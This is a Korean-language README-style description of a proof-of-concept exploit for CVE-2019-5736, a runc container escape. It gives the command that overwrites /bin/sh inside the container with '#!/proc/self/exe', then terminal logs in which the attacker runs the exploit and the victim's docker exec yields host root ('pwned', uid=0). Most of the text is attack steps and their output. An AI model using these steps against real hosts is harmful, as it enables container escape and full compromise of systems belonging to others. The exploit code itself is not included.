
CVE-2019-5736에 대한 개념 증명 익스플로잇으로, runc 바이너리 덮어쓰기를 통해 컨테이너 탈출을 가능하게 하며, 피해자가 docker exec를 실행할 때 호스트 수준의 루트 RCE를 달성합니다.
PoC는 피해자가 예를 들어 docker exec <container> sh를 실행하는 시나리오를 위해 작성되었습니다. 익스플로잇을 실행하기 전에 컨테이너 파일 시스템에서 sh 바이너리를 덮어써야 합니다:
printf '#!/proc/self/exe' > /bin/sh
그 후, 피해자가 exec 명령을 실행하면 호스트 파일 시스템의 runc 바이너리가 익스플로잇에 정의된 코드로 덮어쓰여집니다.
컨테이너 터미널:
root@cebad431c120:/# printf '#!/proc/self/exe' > /bin/sh
root@cebad431c120:/# ./exp # Waits until victim issues the exec command
Found process: 42851
Exploiting PID: /proc/42851/exe
Time to PWN
Success! Next time runc is run we will get RCE!
root@cebad431c120:/#
피해자 터미널:
user@server:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
user@server:~$ sudo docker exec cebad431c120 sh
No help topic for '/usr/bin/sh'
user@server:~$ sudo docker exec cebad431c120 sh
pwned
uid=0(root) gid=0(root) groups=0(root)
failed to retrieve OCI runtime exec pid: open /run/containerd/io.containerd.runtime.v1.linux/moby/cebad431c120d2378925e0712efaafe844616d618d99df4a479283d45f86c0fc/a70ea68c10e0eb3912fde8978e879e77b04ed32731338329024140db47dce1d3.pid: no such file or directory: unknown
user@server:~$